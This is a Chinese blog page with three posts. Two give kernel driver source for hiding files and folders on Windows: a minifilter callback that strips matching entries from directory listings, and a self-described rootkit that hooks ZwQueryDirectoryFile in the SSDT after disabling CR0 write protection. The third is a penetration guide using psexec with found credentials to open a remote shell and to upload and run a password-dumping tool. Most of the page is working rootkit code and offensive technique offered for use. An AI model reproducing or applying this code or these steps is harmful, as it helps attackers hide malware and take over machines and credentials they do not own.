驱动隐藏文件夹的实现(支持Win7)

发布时间:April 26, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

刚完成一个利用驱动隐藏文件夹的程序,隐藏文件的类似,现在贴出来共享给大家。

代码相对比较简单,我是在别人代码的基础上改的。

因为现在在网上找到的代码都是不支持XP以上版本的,所以我在别人代码的基础上添加了XP以上版本的支持。

现在该代码同时支持XP以下及XP以上版本(本人仅测试XP和Win7)。

利用驱动实现文件的隐藏主要是在IRP_MJ_DIRECTORY_CONTROL的后操作回调函数中处理其输入参数FLT_CALLBACK_DATA结构中的缓冲区数据。

该缓冲地址的获取是重点,Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer(或MdlAddress)

网上现有代码不支持XP以上版本的原因是Vista或Win7返回的FileInformationClass结构不再是FileBothDirectoryInformation,而是FileIdBothDirectoryInformation

【注】虽然利用驱动隐藏文件无法利用“显示隐藏文件”查看,但文件实际仍存在,通过路径仍然可以访问。

实现代码如下:

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
 
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
 
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
 
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
 
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

注意以上代码使用的是宏开关,只是在编译时起作用,而非运行时。要想XP和win7都可以正常隐藏文件目录需要分别编译。

要想XP和win7同时起作用,需要去掉宏开关,然后把HideFilePostDirCtrl 改成一下代码

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

 

驱动实现RootKit文件隐藏

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,转帖文章,windows // No Comments

以下代码已经经过测试可以正确编译运行。效果也正常实现,可以作为学习驱动的一个示例代码。

#include "ntddk.h"
#include <windef.h>
 
 
#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
 
 
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] //数组下标从1开始不是从零开始
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);
 
 
//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
 
 
typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
 
 
//-----------------------------------------------------------------------------------------------------------
//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
  
  
//#include "Hidefile.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
DriverObject->DriverUnload = Unload;
KdPrint(("Driver Entry Called!/n"));
KdPrint(("OldAddress原始函数地址值:0x%X/t新函数地址值NewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
 
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);//将旧函数地址值保存备份
DbgPrint("改写函数地址前\n");
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;//将旧函数地址值改变为我们的函数地址入口值
DbgPrint("改写函数地址后\n");
  
__asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
 
return ntStatus;
}
 
 
VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
  
 __asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
return;
}
 
 
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
break;
case FileFullDirectoryInformation:
result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileIdFullDirectoryInformation:
result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileBothDirectoryInformation:
 result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
 break;
case FileIdBothDirectoryInformation:
result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileNamesInformation:
 result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
 break;
}
return result;
}
 
 
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
 switch(FileInfo){
 case FileDirectoryInformation:
((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileFullDirectoryInformation:
((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdFullDirectoryInformation:
 ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileBothDirectoryInformation:
((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdBothDirectoryInformation:
((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileNamesInformation:
 ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 }
}
 
 
 
 
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 PVOID result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
break;
 case FileFullDirectoryInformation:
 result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdFullDirectoryInformation:
 result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileBothDirectoryInformation:
 result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdBothDirectoryInformation:
 result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileNamesInformation:
 result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
 break;
 }
 return result;
}
 
 
 
 
 
 
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 ULONG result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
 result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
 break;
 case FileFullDirectoryInformation:
 result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdFullDirectoryInformation:
 result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileBothDirectoryInformation:
 result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdBothDirectoryInformation:
 result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileNamesInformation:
 result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
 break;
 }
 return result;
}
 
 
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
//首先,调用原始函数执行获取打开文件或目录得到信息
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
 FileHandle,
 Event,
 ApcRoutine,
 ApcContext,
 IoStatusBlock,
 FileInformation,
 Length,
 FileInformationClass,
 ReturnSingleEntry,
 FileMask,
 RestartScan);
DbgPrint("进入自己定义的函数内,并成功执行原函数代码\n");
 
 
//这里判定函数是否执行成功,而且获取的是否是文件或目录
if(NT_SUCCESS(ntStatus) && 
 FileInformationClass == FileDirectoryInformation ||
 FileInformationClass == FileFullDirectoryInformation ||
 FileInformationClass == FileIdFullDirectoryInformation ||
 FileInformationClass == FileBothDirectoryInformation ||
 FileInformationClass == FileIdBothDirectoryInformation ||
 FileInformationClass == FileNamesInformation 
 )
{
 PVOID p = FileInformation;
 PVOID pLast = NULL;
 DWORD pLastOne = 0;
 KdPrint(("<--------/n"));
 do{
  pLastOne = GetNextEntryOffset(p,FileInformationClass);
  KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
   
  if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"RootkitFile", 16 ) == 16 )//RootkitFile改为自己想要隐藏的文件名和目录名
  {
KdPrint(("[-]Hide...../n"));
KdPrint(("[-]现在在目录下看不到RootkitFile命名的目录和文件了/n"));
if(pLastOne == 0)
{
if (p == FileInformation)
ntStatus = STATUS_NO_MORE_FILES;
else
SetNextEntryOffset(pLast,FileInformationClass, 0);
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pLastOne;
RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
 iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
continue;
}
  }
  pLast = p;
  p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
 }while (pLastOne != 0);
 KdPrint(("-------->/n"));
}
return ntStatus;
}

 

pstools套件 用法和小技巧

发布时间:April 12, 2015 // 分类:工作日志,转帖文章,windows // No Comments

目录
0×00 pstool的介绍
0×01 psexec的应用详解
远程获取一个cmdshell
程序上传并执行
0×02 pspasswd的应用详解
0×03 pskill+psinfo+pslist等的应用详解
0×00 pstool的介绍
PsTools是Sysinternals Suite中一款排名靠前的一个安全管理工具套件。现在被微软收购。目前pstools中含有12款各式各样的小工具。如果将它们灵活的运用,将会在渗透中收到奇效。所有的pstool第一次运行时都会弹框。可以用–accepteula这个参数绕过。
还有所有的pstool都支持IP$,一旦IP$共享是连接的就不用输入-u 和-p这两个参数。
如何建立IP$连接。命令如下:
Net user \\目标ip\ 密码 /user:用户
Net user \\192.168.1.3\ 123456 /user:test
建立后所有的ps工具都将可以不用输入用户和密码了。
其中12款工具简介如下:
• PsExec – 远程执行进程
• PsFile – 显示远程打开的文件
• PsGetSid – 显示计算机或用户的 SID
• PsInfo – 列出有关系统的信息
• PsKill – 按名称或进程 ID 终止进程
• PsList – 列出有关进程的详细信息
• PsLoggedOn – 查看在本地通过资源共享(包含所有资源)登录的用户
• PsLogList – 转储事件日志记录
• PsPasswd - 更改帐户密码
• PsService – 查看和控制服务
• PsShutdown – 关闭并重新启动(可选)计算机
• PsSuspend – 暂停进程
这里讲对其中的几个工具进行详解,其他的将只介绍用法。
下载地址:http://download.sysinternals.com/files/PSTools.zip
0×01 psexec的应用详解
Pstools中最强大最常利用的工具就属psexec这款工具。这款工具的本意是替代telnet这种不安全的管理方式。它最大的特点就属无需安装客服端程序就可以远程操作服务器。
简单来说,就是一旦你知道服务器或者电脑的用户名和密码,你就可以利用它远程执行系统命令。这样一款工具放到渗透当中真是太淫荡了。它适用于windows NT/2x/xp/vista
下面介绍详细参数:
-u 远程计算机的用户名
-p 远程计算机用户对应密码
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回 (意思就是,当你执行一个程序无需等到他结束才返回信息)
-h用于目标系统是Vista或更高版本
其他参数就不做介绍,这里主要是讲用法。
远程获取一个cmdshell
比如我再渗透中扫描到目标机(192.168.1.3)的一个用户名(test)和密码(123456)。
那我们的命令就是:
psexec \\目标ip -u 用户名 -p 密码 进程名
psexec \\192.168.1.3 –u test –p 123456 cmd.exe
看下图,这是成功连接到一台远程服务器,并获得一个cmdshell,shell权限即位当前用户权限。
这里还将提到的是由于windows策略,将不允许空密码登陆。
可能有些机油对用户权限登陆还有疑虑,什么用户才可以登陆。
我这建立了一个属于guest的一个用户我们来看看它是否能连接。

 

 

经过测试,比guest权限大的用户组都可以远程登陆。
IIS_WPG用户组的无法远程连接,但是你不用担心,一般属于IIS_WPG用户组的用户一般也属于guest用户组。
有关用户组相关的介绍请围观法客周年庆之提权专题
下载地址: http://www.2cto.com/ebook/201211/35554.html
获取cmdshell的介绍就到这里。一旦获得一个cmdshell后面的渗透将会比较轻松。
经过测试,用最新版的pstools,windows2008 win7 都能连接成功,win8由于没有win8系统,就未测试,应该是能行的,毕竟这是微软的管理工具。
Win7连接示意图:

 

 

程序上传并执行
首先现在在本地配置一个将上传到服务器上运行的程序到H盘根目录。这里用抓取系统密码的神器getpass来演示。H:\getpass.exe

 

 

程序上传并执行命令如下:
Psexec \\192.169.1.3 –u test –p 12345 –c H:\getpass.exe –d
最后一个-d的参数可有可无~~~
只是怕程序远程运行后会卡住而无法返回信息。
测试如图:

 

 

